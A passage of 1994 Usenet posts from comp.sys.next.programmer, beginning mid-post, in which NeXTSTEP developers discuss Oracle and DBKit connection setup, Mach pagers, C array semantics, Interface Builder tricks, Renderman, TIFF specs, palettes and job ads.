using sqlplus: user/password@t:hostname:database. Server Id: database Host Id: hostname User: user Password: password The hostname is the network name of the Oracle server. The database is the value of the ORACLE_SID environment variable when you login to your server. Any valid Oracle user and password should work. ops$ is just a shortcut Oracle has provided to let your Unix login name and permissions serve for Oracle user validation as well. This isn't necessary for dbkit to connect. If you have the standard demo database installed, you should be able to login as scott/tiger@t:hostname:demo. 5. There are server configuration files for oracle that for v7 live in /var/opt/oracle (on a Sun server). These specify what databases are enabled for startup and which ones permit remote connections. The Oracle documentation should help with setting these up. Hope this helps some. -- Ron blanford@spf.trw.com
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Stretching lines between windows like IB? Date: 5 Jan 1994 10:47:26 -0000 Organization: me organized? That's a joke! Message-ID: <2ge5ru$169@steffi.demon.co.uk> References: <1994Jan4.232736.20867@cs.cornell.edu> bau@cs.cornell.edu (David Bau) wrote >It's not obvious to me how this is done. Is the black >line made up of little plain windows that get dragged around? >Is there another way? Any suggestions on the best way to get >this effect? > >David Yep, they are windows. If you want to go looking, there was an example by Don Mcgregor (I think) in an old issue of BuzzNuG (which should be still on sonata) -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How Do I Untar A File? *.???.z Date: 5 Jan 1994 11:46:06 -0000 Organization: me organized? That's a joke! Message-ID: <2ge99u$1h6@steffi.demon.co.uk> References: <2966237727.6.p00378@psilink.com> <zunger.757742193@ucsu.colorado.edu> >"James Gaines" <p00378@psilink.com> writes: Does anybody else agree that this is an admin or misc question? Is it fair to ask that they go to comp.sys.next.sysadmin,comp.sys.next.misc? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: REINI@EZINFO.VMSMAIL.ETHZ.CH (REINBERG,MARTIN STEFAN) Newsgroups: comp.sys.next.programmer Subject: SIRDS Viewer for NEXTSTEP Date: 5 Jan 1994 13:53:21 GMT Organization: ETH ZUERICH Distribution: world Message-ID: <2gegoh$c5e@elna.ethz.ch> Hi I have written a SIRDS viewer for NEXTSTEP. The viewer takes ZBUFFER files from RenderMan and generates SIRDS. Because I have only a NeXTStation I cannot test my programm with ZBUFFER files from Intel machines. Would therefore someone please mail me a ZBUFFER which was generated on an Intel machine. When I have checked the program with those files I'll submit it to the Net. As a bonus I'll return the rendered SIRDS file for every image I receive (please give me a hint if I you want that). Furthermore I'm looking for someone who would like to test my programm on an Intel Machine before I submit it to the net. Mail address: reini@stud.ee.ethz.ch (Martin Reinberg / Im Lee 3 / CH-4144 Arlesheim / Tel. 0049 61 701 26 97 ) (I would prefer uuencoded images) ZBUFFER: Contains depth information of a scene. You can tell RenderMan to render these special images. RenderMan needs these images to compute shadows. In most of the cases you don't have to mess around with these files. They are managed entirely by the modeler (Intuitive3d, Frontface, ...). SIRDS: Single Image Random Dot Stereograms. By focusing to a larger distance than the one of the actual image you're able to see 3D images without using special glasses. Seeing is believing... HOW DO I GENERATE A ZBUFFER IMAGE: Take a normal *.rib file and change the line which looks like: Display "*.tiff" "file" "rgba" into Display "*.pic" "zfile" "z" now render the image with prman *.rib & now you have to wait for a few seconds or minutes.
Newsgroups: comp.sys.next.programmer From: horst@il.us.swissbank.com (Ted Horst) Subject: 3.0 version of send_attach Message-ID: <1994Jan5.143911.6577@il.us.swissbank.com> Keywords: send_attach mail Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 5 Jan 1994 14:39:11 GMT Hi, Does anyone have a 3.0 or earlier version of Joe Freeman's send_attach ? I have looked on the net, but I can't find any early versions. I also emailed Joe, but I have not heard back from him yet. I am in a bit of a time crunch, so if anyone has a copy or knows where to find one, please let me know as soon as possible. I can take either source or binary. Thanks very much, Ted Ted Horst Single Source Systems, Inc Disclaimer: No statements made in this article should be construed to reflect the opinions of Swiss Bank or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: tmaas@rchland.vnet.ibm.com (Tony Maas) Subject: STEVE_SIECZKO@INFOMAN.COM Sender: news@rchland.ibm.com Message-ID: <1994Jan05.144728.35597@rchland.ibm.com> Date: Wed, 05 Jan 1994 14:47:28 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM Organization: IBM Rochester Steve - I've been trying to respond to your email but your address keeps bouncing. I've tried: steve@infoman.com steve_sieczko@infoman.com Please get in touch with me. Sorry for the waste of bandwidth. Tony Maas tmaas@vnet.ibm.com
From: max@Kolmogorov.gac.edu (Max Hailperin) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: NXWriteType() bug? Date: 5 Jan 94 09:00:45 Organization: Gustavus Adolphus College, St. Peter, MN Message-ID: <MAX.94Jan5090045@Kolmogorov.gac.edu> References: <2gcc0t$kv1@nic.lth.se> <1994Jan4.200150.13732@kakwa.ucs.ualberta.ca> In-reply-to: michal@phys.ualberta.ca's message of Tue, 4 Jan 1994 20:01:50 GMT This post is only for academics and others who like details and history: In article <1994Jan4.200150.13732@kakwa.ucs.ualberta.ca> michal@phys.ualberta.ca (Michal Jaegermann) writes: ... The problem is that declarations 'char foo[] = "foo";' and 'char *foo = "foo";' are not at all equivalent accordingly to a definition of C - UNLESS passed as arguments to a function. You may blame C designers for that often occuring confusion, especially that in many context you may indeed use one or another declaration of foo without any ill effects. ... Actually, the two are 'equivalent' in contexts other than as arguments to a function. For example, if you do 'bar = foo' or 'foo+2' or 'foo[3]'. In general, any place the *rvalue* of foo is used, the two will be 'equivalent'. Arguments to functions are just one special case of this. I put 'equivalent' in quotation marks, because as Jaegermann later notes, there is a the subtle distinction of writability. Finally, rather than just blaming "C designers" (i.e. Dennis M. Ritchie) for the confusion caused by pointers and arrays being somewhat interchangable, but not entirely, it is worth asking the question: why did he do it that way? It turns out that there is some fascinating programming language history wrapped up in this question. Ritchie designed C by evolution from B and BCPL (by way of a short-lived intermediary called NB), and in those language there is no semantic distinction between foo declared to be an array vs. a pointer to an array. Even when foo is delcared to be an array, it is actually the name of a memory location holding the address at which the first element of the array is found. However, when Ritchie introduced structures (structs) into the language, he decided (for reasons made more explicit in the article cited below) to abandon this extra memory location storing the base address and instead have foo directly name the block of consecutive memory locations itself. However, and this is the crux of the matter, Ritchie didn't want to be any more incompatable with the existing B language than necessary. So, he put the now troublesome wart into the language, namely that when foo is an array, the expression foo is treated as though it were &foo. In other words, the reason why people are having trouble with arrays and pointers being almost-but-not-quite interchangable is because Ritchie worked from a historical legacy in which arrays literally were pointers. He wanted to make arrays no longer literally be pointers, but still act as much as possible as though they were. This, and much more of the fascinating history of C, is explained in his paper "The Development of the C Language," pp. 201-208, ACM SIGPLAN Notices, Volume 28, Number 3, March 1993, Preprints of The Second ACM SIGPLAN History of Programming Languages Confere (HOPL-II). [Presumably this has appeared or will appear in the final HOPL-II book.]
Newsgroups: comp.sys.next.programmer From: koehn@rchland.vnet.ibm.com (Jeff Beran-Koehn) Subject: Writing a Mach Pager Message-ID: <1994Jan05.153330.34051@rchland.ibm.com> Sender: koehn@altec.rchland.ibm.com (Jeff Beran-Koehn) Date: Wed, 05 Jan 1994 15:33:30 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM Organization: IBM-Rochester MN I am trying to write a Mach pager using the example found in Boykin's book "Programming under Mach" as a guide. When I link the pager, the symbol memory_object_server is unresolved. This function examines an incoming message and, based on its message ID, invokes one of the pager's memory object functions. Boykin states that this function comes from libmach.a, the standard Mach library. I looked for this library and couldn't find it. Anyone know where NeXTSTEP archives the standard Mach functions, which library contains memory_object_server, or if this function has a different name under NeXT's implementation of Mach? Thanks. Jeff Beran-Koehn Department 49K - LAN Development IBM Rochester koehn@rchland.vnet.ibm.com
Newsgroups: comp.sys.next.programmer From: donnelly@galba.cs.qub.ac.uk (Paul Donnelly) Subject: Any way to write direct to Screen RAM on the NeXT ?? Message-ID: <1994Jan5.162737.26439@ousrvr.oulu.fi> Sender: news@ousrvr.oulu.fi Organization: University of Oulu Date: Wed, 5 Jan 1994 16:27:37 GMT Hello, I guess this is not something most people want to do on their NeXT worksatation but I was wondering if there was any way to write straight to Screen RAM from an assembler program on the NeXT? Presumably if I could get into supervisor mode, I would be able to turn off the memory protection and hoke about for the Screen RAM address and then write data to it. Can anyone tell me if its possible to get into supervisor mode from an assembler program? Is there any way to get direct access to Screen RAM without being in supervisor mode? Any help appreciated.. Paul
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: brad@instep.wimsey.bc.ca Subject: Bug? SybaseAdaptor and MAB applications Message-ID: <1994Jan5.193016.362@instep.wimsey.bc.ca> Sender: brad@instep.wimsey.bc.ca (Bradley Head) Organization: InStep Mobile Communications Inc. Date: Wed, 5 Jan 1994 19:30:16 GMT Problem: SybaseAdaptor fails to load when running a FAT app (compiled on Black hardware) on Intel hardware. FAT app successfully locates SybaseAdaptor on Black hardware. Details: * Compiled MAB (for Intel and M68K) * SybaseAdaptor not hard linked. * undefines in Makefile.preamble as per release notes: OTHER_LDFLAGS = -u libdbkit_s -u libNeXT_s -u libsys_s * Using 4.6 SybaseAdaptor on both black and intel hardware. * Using NEXTSTEP 3.2 on both architectures When the app is compiled (on black) skinny for either architecture, the SybaseAdaptor is successfully located at runtime. Does anyone have any clues as to why this is happening? Is this a genuine bug? thanks in advance for the response. Brad. -- Bradley Head Software Developer, InStep Mobile Communications Inc. brad@instep.wimsey.bc.ca (NeXTmail accepted) 604 872-7116 fax: 604 872-7125
Newsgroups: comp.sys.next.programmer From: horst@il.us.swissbank.com (Ted Horst) Subject: Re: 3.0 version of send_attach Message-ID: <1994Jan5.200843.8133@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Jan5.143911.6577@il.us.swissbank.com> Date: Wed, 5 Jan 1994 20:08:43 GMT Thanks to Steve Hayman <shayman@Trimark.com>, I am no longer in need. Thanks Steve, once again the net proves its worth !! If anyone else needs this, let me know. Ted Horst <ted@singlesrc.com> Single Source Systems, Inc. (317) 253-0665 > > Hi, > > Does anyone have a 3.0 or earlier version of Joe Freeman's send_attach ? > > I have looked on the net, but I can't find any early versions. I also > emailed Joe, but I have not heard back from him yet. > > I am in a bit of a time crunch, so if anyone has a copy or knows where to > find one, please let me know as soon as possible. I can take either > source or binary. > > Thanks very much, > > Ted > > Ted Horst > Single Source Systems, Inc > > > Disclaimer: No statements made in this article should be construed to > reflect the opinions of Swiss Bank or Single Source Systems. All opinions > are wholly my own, and I am solely responsible for my statements.
From: mahoney@csulb.edu (Mike Mahoney) Newsgroups: comp.sys.next.programmer Subject: Re: Garfinkel/Mahoney books Date: 5 Jan 1994 23:08:10 GMT Organization: Cal State Long Beach Message-ID: <2gfh8q$3rk@garuda.csulb.edu> References: <2fcjt0$b8b@kasey.umkc.edu> Neither STEP TWO (Mahoney/Ballew) nor STEP ONE revised (Garfinkel/Mahoney revised for OpenStep and 3.2) will be out at least until NeXTWORLD Expo in June 1994, probably later. -mike >Newsgroups: comp.sys.next.programmer >From: petcher@howdy.wustl.edu (Donald N. Petcher)>Subject: Garfinkel and Mahoney, Step Two?? >Message-ID: <1993Dec24.202007.13467@wuphys.wustl.edu> >Sender: usenet@wuphys.wustl.edu (USENET) >Organization: Physics Dept, Washington U in St Louis >Date: Fri, 24 Dec 1993 20:20:07 GMT >Back when Garfinkel and Mahoney came out with their first book last spring, >there was mention that they planned a sequel to be released around the end >of the year. It is now around the end of the year. Has anyone heard anything >more about this? > >Cheers, >Don Petcher In article <2fcjt0$b8b@kasey.umkc.edu> azahid@sparc1.cstp.umkc.edu (Abbasi Zahid) writes: > I bought the book recently, but was wondering if there will a new edition > to support the v3.2. > > > -- > Zahid Abbasi > Computer Science and Telecomm. Program, > Univ. Of Missouri, Kansas City. -- - Mike Mahoney, SCaN President Professor and Chair Computer Engineering and Computer Science Dept California State University, Long Beach Long Beach, CA 90840-8302
Newsgroups: comp.sys.next.programmer From: abell@netcom.com (Steven T. Abell) Subject: Where can I ftp a TIFF spec? Message-ID: <abellCJ6H7r.5us@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Distribution: na Date: Wed, 5 Jan 1994 22:31:02 GMT Title says it all. Steve abell@netcom.com
Newsgroups: comp.sys.next.programmer From: macrae@geo.ucalgary.ca (Andrew MacRae) Subject: Re: Need help with Oracle and DBkit Message-ID: <Jan5.224008.33182@acs.ucalgary.ca> Date: Wed, 5 Jan 1994 22:40:08 GMT References: <2gciba$dgv@vixen.cso.uiuc.edu> Organization: Geology & Geophysics Dept, University of Calgary, Canada jeske@ux4.cso.uiuc.edu (David Jeske) wrote: >I'm working with people who are fimilar with Oracle but not with NeXT, and >I have not even been able to connect to the Oracle server to start DBModler I had a similar problem getting my machine to talk to an Oracle server. While not particularly difficult, there are a variety of tricky bits that could cause problems, and the diagnostics for the errors are not very informative (To NeXT: please add more informative error messages). Here is some of the pertinent information from the on-line docs, and an explanation of some of the problems that could occur. The one I found in my case was that orasrv wasn't running on the Oracle server machine, so it wasn't my machine's problem anyway :-) I was tearing my hair out trying to find the problem before I found this! From the Docs: ------------------- 7 DBModeler loads only tables and views owned by the current user. Extend the list of users for whom tables and views should be loaded . Note that this applies to the Oracle Adaptor only. For example to show the tables and views owned by the users David, Mai, Tony: > dwrite OracleAdaptor OracleTableOwners "'SCOTT','JOE','TONY'" Note that the user names must be quoted and the current user name must also be included . You can modify or change your list by using dremove, then dwrite. Defaults The following values are valid dwrite defaults, although none are required: 7 Default owner: OracleAdaptor "ORACLE_SID" same as ORACLE_SID environment variable "ORACLE_HOME" same as ORACLE_HOME environment variable "TWO_TASK" same as TWO_TASK environment variable "OracleLoginName" name that will be tried by default "OraclePassword" gaping security hole if you use this "OracleSQLNetSpec" sql*net spec string, e.g. "T:somehost:ORACLE" "OracleLogErrors" if YES, sends errors and messages to syslog (3) "OracleRecordBatchSize" integer value: number of rows to fetch in a batch "OracleForceOuterJoin" if YES, always use outer join "OracleTableOwners" list of usernames inside quotes - "'Fred', 'Harry'" ----------------- The tricky bits: 1. The client machine (NeXT): orasrv 1525/tcp must be added to services in NetInfo. 2. The server machine: Also check that oraserv is running on the Oracle server machine by 1. looking for "orasrv 1525/tcp" in its /etc/services file, and 2. ps -gaxu | grep orasrv. If it isn't running, it must be run from /usr/oracle/bin/orasrv by root, probably in rc.local during bootup. 3.Sure, dwrite OracleAdapter OracleTableOwners "'yourself','owner1','owner2',..." BUT, you must be sure that 'yourself' is the name of your database login on the server, AND it seems to be _CASE_SENSITIVE_. So, if you have no problem getting DBModeller to connect to the database, but no entities appear in the window, check the dwrite, and make sure the case of the 'yourself' and 'owner' entries matches that in Oracle. From your Oracle account, you can find out the owner of all the tables you have access to by typing: SELECT * FROM ACCESSIBLE_TABLES 4. You need to know the server id on the server machine. This is usually set in the environment variable ORACLE_SID in the account on the server. 5. The user id and password you use are the _ORACLE_ user id and password, NOT the UNIX equivalent. This may seem obvious, but isn't if you are getting errors with vague messages from the adaptor, and are grasping at straws!! (GRRR!) --------- So, the complete procedure: 1. Activate the oracle daemon port on the NeXT with: niload services . << orasrv 1525/tcp 2. Find out who owns the tables you want to look at, and do: dwrite OracleAdapter OracleTableOwners "'yourself','owner1','owner2',..." where 'yourself' is your _Oracle_ login id on the server, and 'owner1' etc. are the owners of the tables you want to look at, including _your_own_ (if you want to look at them), AND these are _all_ case sensitive. 3. Make sure /usr/oracle/bin/orasrv is running on the server with orasrv 1525/tcp in the /etc/services file! (use ps to check) 4. Login using DBModeler, and the remote hostname, server id (check $ORACLE_SID in the environment variables of the server account), your _Oracle_ userid, and password. I hope this helps. Naturally, I make no promises this will work for you, and if anyone has corrections, please add them. I'm certainly no expert on Oracle or DBKit, so do not consider this a definitive answer. Perhaps the information should be put in an FAQ, or even put in the on-line documentation (Hint), since it seems to be a common source of problems. -Andrew macrae@pandora.geo.ucalgary.ca or: macrae@geo.ucalgary.ca
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Help.store files. Date: 5 Jan 94 18:32:30 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Jan5183230@nic.gac.edu> Running NS3.1, I'm _trying_ to build an app that has NeXT-style online help in it. So, I build a Help directory under English.lproj that looks like: Help/ FunctionKeys.rtfd FunctionsMenu.rtfd Index.rtfd Intro.rtf NewConnection.rtfd TableOfContents.rtf From within Edit, I can click all the little link markers in the TableOfContents.rtf file, and it opens things up like expected, and away I go. Unfortunately, when I do a build, it creates a Help.store file, but it doesn't _work_. When I attempt to bring up the Help panel, I get a tall thin window, perhaps 32 pixels wide. Why? Why not? I don't know. The help stuff would _seem_ to be there, because the Help.store file is about 2x the size of compressing the Help directory, which would lead me to believe that there's _something_ in there. And, the compresshelp output seems to indicate that it's processing all the files. But, it doesn't work. Any help out there? The online manuals are almost useless - what do you search for? [BTW, if I copy the Help directory itself into the .app wrapper, it works fine. Sigh.] Later, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
Newsgroups: comp.sys.next.programmer From: jrhoads@netcom.com (Jason Rhoads) Subject: Objective-C books? Message-ID: <jrhoadsCJ6p16.IK5@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 6 Jan 1994 01:19:53 GMT Can anyone reccomend any Objective-C books for NeXT and non-NeXT development? Thanks! - Jason ================================================================= Jason R. Rhoads jrhoads@netcom.com Frontier Technology Inc. 530 E. Montecito St., Suite 105 Santa Barbara, CA 93103-3245 (805) 965-2477 Fax (805) 965-2478 =================================================================
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Attempt to remove unrecognized exception handler. Date: 6 Jan 1994 04:35:34 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2gg4em$foj@darkstar.UCSC.EDU> In an attempt to accelerate the launching of our DBKit app, I've tried loading our large 0.5 MB database model in a separate thread while I get database login info from the user. This seems to work well except for the console message "Attempt to remove unrecognized exception handler." that gets written apparently when my cthread_join() function returns. It doesn't appear to be causing any problems, but I doubt the message would be written if it were meant to be ignored :-) I seem to recall some discussion of this message and how to avoid it, but early Alzheimer's seems to be preventing access of my relevant memory cells :-) Please refresh my memory. -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: jmartin@frankenstein (Jeff Martin) Subject: Re: Stretching lines between windows like IB? Message-ID: <1994Jan5.192528.13914@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <1994Jan4.232736.20867@cs.cornell.edu> Date: Wed, 5 Jan 1994 19:25:28 GMT In article <1994Jan4.232736.20867@cs.cornell.edu> bau@cs.cornell.edu (David Bau) writes: > When making connections in IB by control-dragging, you get to > drag a nice solid line between windows; as you drag the line > over other windows, of course, it doesn't interfere with their > contents. > > It's not obvious to me how this is done. Is the black > line made up of little plain windows that get dragged around? > Is there another way? Any suggestions on the best way to get > this effect? You are correct in assuming the lines are small windows. The only other possibility would be to put a screen-sized non-retained window over everything (with autofill turned off) and draw on it. ... jeff
From: rasmussen@nbivax.nbi.dk Newsgroups: comp.sys.next.programmer Subject: Quick Renderman problem (RiNuCurve) Message-ID: <1994Jan5.195102.1457@nbivax.nbi.dk> Date: 5 Jan 94 19:51:02 +0100 Organization: Niels Bohr Institute and Nordita, Copenhagen I've tried to use the RiNuCurve Quick Renderman function, but can't get it to work. Everytime I try it the window server crashes, even if I use it exactly as the example in QRM interface specification. If I use a RiLine call, the program works (although without nurbs :) Is there a known problem with this call? Any help would be appreciated... Helge
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: some new IB palettes available (tcl & 3D) Message-ID: <1994Jan6.062919.18746@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Distribution: na Date: Thu, 6 Jan 1994 06:29:19 GMT <<please note: if you're running < 3.0, this code definitely won't work. If you're running 3.0, it might not (we don't have it around to test...)>> Hi. I'm pleased to announce the first public release of some of the WavesWorld IB palettes. These are palettes of objects I originally developed for my PhD system, WavesWorld. Lots of people have asked about them, and since I wrote them this summer when I wasn't at the Media Lab, I decided to make them available as shareware. I wrote this code this summer, but given the hectic nature of last semester (PhD exams, etc.), I haven't gotten around to releasing this stuff until now. The wait has been in your favor, as I uncovered lots o little bugs this semester as I avoided studying for my exams by playing with this code. These palettes go reasonably far in addressing some problems I've always had with IB and the fact that I wanted to use IB more and the linker less. There are two palettes included in this release. The first, WWTCLWidgets, is my latest take on how to integrate tcl, the embeddable tool command language from Berkeley, into the NeXTSTEP development environment. For more info on tcl, look in ./tcl/doc, read the newsgroup comp.lang.tcl, ftp to sprite.berkeley.edu and pick up the Postscript pre-print of the forthcoming tcl book from Addison-Wesley. There are probably many different ways to integrate tcl into NS; this is just one way. This palette really isn't intended to be all that useful by itself, although take a look at the Calculator example, which is a pretty cool example. I really designed it to be used with the other palette included here: WW3DPalette, which is my 3DKit. The WW3DPalette only has one visible object on it: the WWRIBWell. A WWRIBWell is a UI element that looks like a color well, except that it's got a doughnut in it to start (really a torus). As you might expect from its name, you can drop a .rib into the WWRIBWell and see it. Also, like you might expect, you can click the edge of the WWRIBWell and get a control panel (like the NXColorPanel that pops up when you click the edge of a NXColorWell). The idea of the WWRIBWell is that you want to integrate 3D into your app, but you don't really want to learn the 3DKit. Eventually, perhaps, but for now, you just want to be able to integrate 3D into an app with a minimum of fuss. There's much, much more power available in the WW3DPalette than that, but that was the easy home run part. The WW3DPalette includes a full blown 3D modeling language called eve, which is based on tcl (with full RenderMan binding and a few other commands). I've included some neat examples of a robot and a room. To find out more, ftp to media.mit.edu:pub/WavesWorld and grab someWWPalettesAlpha.compressed. I want to keep that as the distribution site for a week or so until I'm sure that there are not any glaring bugs I don't know about, and then I'll submit it to the normal archive sites as a beta release. The doc is pretty minimal right now, but I do have a bunch of examples, and of course all the source code is there. I've already compiled both palettes MAB and included them in the top level distribution, so you should be able to start having fun ASAP. Let me know what you think. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: ajetha@giants.comnetix.com (Alykhan Jetha) Newsgroups: comp.sys.next.programmer Subject: Using Bundles Date: 6 Jan 1994 04:20:23 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401060146.AA01445@giants.comnetix.com> Folks, I'm doing some hacking/research using bundles in NEXTSTEP. Is there a way to stop the runtime system from loading a class that is already loaded from another bundle or the main bundle?? Any hints or help would be appreciated! Thanks AlyKhan Jetha(AJ) ComnetiX Computer Systems Inc.
Newsgroups: comp.sys.next.programmer From: raptor!rlove (Robert B. Love ) Subject: NeXT Job Message-ID: <1994Jan6.024927.3385@nugget.rmNUG.ORG> Sender: rlove@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group Date: Thu, 6 Jan 1994 02:49:27 GMT I'm reposting this since my news connection went down intermittantly and I don't know if it got out the 1st time. I'm posting this for an acquaintance, please don't respond to me. WHAT: NeXT Developer Sought WHERE: Omaha, Nebraska SALARY: Dependent on Experience DETAILS: Nationwide corporation is seeking developers with 3+ years experience with Objective-C and NEXTSTEP (C++ too?). Business application and/or accounting experience helpful. CONTACT: Jan Isom Noll Inc 2120 South 72nd St Suite 900 Omaha, NE 68124-2341 Voice: (800)798-7736 Fax: (402)391-6748 -- ----------------------------------------------------------------- Bob Love rlove@raptor.rmnug.org (NeXT Mail OK) BIX: rlove -----------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: david@prim.demon.co.uk (David George) Subject: Re: Writing a Mach Pager Message-ID: <1994Jan6.003645.1081@prim.demon.co.uk> Organization: KCS Ltd. References: <1994Jan05.153330.34051@rchland.ibm.com> Date: Thu, 6 Jan 1994 00:36:45 GMT In article <1994Jan05.153330.34051@rchland.ibm.com> koehn@rchland.vnet.ibm.com (Jeff Beran-Koehn) writes: >I am trying to write a Mach pager using the example found in Boykin's book >"Programming under Mach" as a guide. When I link the pager, the symbol >memory_object_server is unresolved. This function examines an incoming message >and, based on its message ID, invokes one of the pager's memory object function s. >Boykin states that this function comes from libmach.a, Mr. Boykin is correct. > the standard Mach library. >I looked for this library and couldn't find it. Anyone know where NeXTSTEP >archives the standard Mach functions, which library contains > memory_object_server, or if this function has a different name under > NeXT's implementation of Mach? > External pagers are not supported by NeXT's version of mach (sigh). Or rather the interfaces are switched off for users. I've written a few external pagers for Mach based on the classic example by my old colleague, David Black, whose Doctoral Thesis was the Mach paging scheme. The code is available from CMU. The latest version of Mach uses an external pager as the default pager... you have to be careful doing this like vmwire()'ing the pager text and data (you don't want to try paging it). memory_object_server receives and parses messages from the kernel for memory_objects managed by your pager. It calls the relevant memory_object functions to perform paging such as memory_object_write. Assuming you find a mach system which supports external pagers you also have to include all the relevant memory_object functions called by this server or you will get further unresolved references [as this interface is a bit fluid this is a standard problem]. You could try aquiring a beta copy of IBM's OS2 version 3 (as you work for the company) which has 'real'(TM) Mach, although rumour has it that ALL Mach interfaces will be turned off for users (ugh). I believe CMU no longer distribute Randy Dean's unencumbered BSD/Mach server for PCs to none AT&T licence holders (although it only needs the old cheap system 5.2 licence). OSF provides some pretty good Mach documentation in NeXT Framemaker format. This is available from CMU via anonymous ftp. I recently extended the Mach 3.0 external pager interface to provide proper support for the posix vmsync function, so IBM may not have caught up with the latest (OSF) version of Mach. NeXT certainly havn't. David. David George KCS Ltd. 147-149 Gloucester Terrace London W2 6DX
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: AddressBook -- standards -- api Message-ID: <1994Jan6.151558.15977@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. Distribution: usa Date: Thu, 6 Jan 1994 15:15:58 GMT As a follow up to a posting in comp.sys.next.misc: Has anyone seen documentation on the different fields that should be supported in the AddressBook.addresses? It seems that there was an attempt to implement an extensable system. But, I have seen no documentation to this effect. As an example, there is a "Type" field that is set to "AddressBook". There are also fields for the address book layout. Even better, has anyone seen an api for writing into this thing? -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels) Subject: gdbmAdaptor: (does it work with 3.2?) Message-ID: <MMSKBUUB@gwdu03.gwdg.de> Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen Date: Thu, 6 Jan 1994 15:20:53 GMT Hello, I got gdbmAdaptor, and tried to use it. Apart from some nervous breakdowns of DBModeler.app it worked fine to produce the model. Everything worked in IB when I created the .model file from the .modela ASCII representation. But in IB's test mode I get the following message: Jan 6 16:13:50 desdemona InterfaceBuilder[8828]: Error loading /Users/trebels/Library/Adaptors/gdbmAdaptor.adaptor/gdbmAdaptor Jan 6 16:13:50 desdemona InterfaceBuilder[8828]: rld(): multiple definitions of symbol _VERS_NUM So I would like to know whether this behaviour is something special here or a general bug. Ciao, Stephan
From: slwdz@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: Re: Where can I ftp a TIFF spec? Message-ID: <1994Jan6.090005.7093@cc.usu.edu> Date: 6 Jan 94 09:00:05 MDT References: <abellCJ6H7r.5us@netcom.com> Distribution: na Organization: Utah State University I found my copy of the TIFF (Tagged Image File Format, Revision 6.0, Draft 1, Feb 14, 1992) format information in the TIFF Software programming package from: ucbvax.berkeley.edu /pub/tiff/v3.0.tar.Z The specs are in PostScript format. These specs were done by Aldus, so perhaps they have a site where this can be found. John Z. slwdz@cc.usu.edu "We will all be just road-kill on the Clinton Information super highway."
From: jhj@daimi.aau.dk (Jens Hoerup Jensen) Newsgroups: comp.sys.next.programmer Subject: [Q] recording and playing sounds in parallel? Date: 6 Jan 1994 16:33:45 GMT Organization: DAIMI, Computer Science Dept. at Aarhus University Message-ID: <2gheh9$mmb@belfort.daimi.aau.dk> Hi, I would like to record through the microphone and play it through the speaker (headphones) immediately. I am going to use it at a NeXTDimension, which can)t play the sound when I use NeXTTV, and I would like to use it when I play my CD's at the NeXT CDROM. Here I'll connect the CDROM output to the microphone input, and the play the CD's through the internal speaker. Thanks in advance. -- Jens
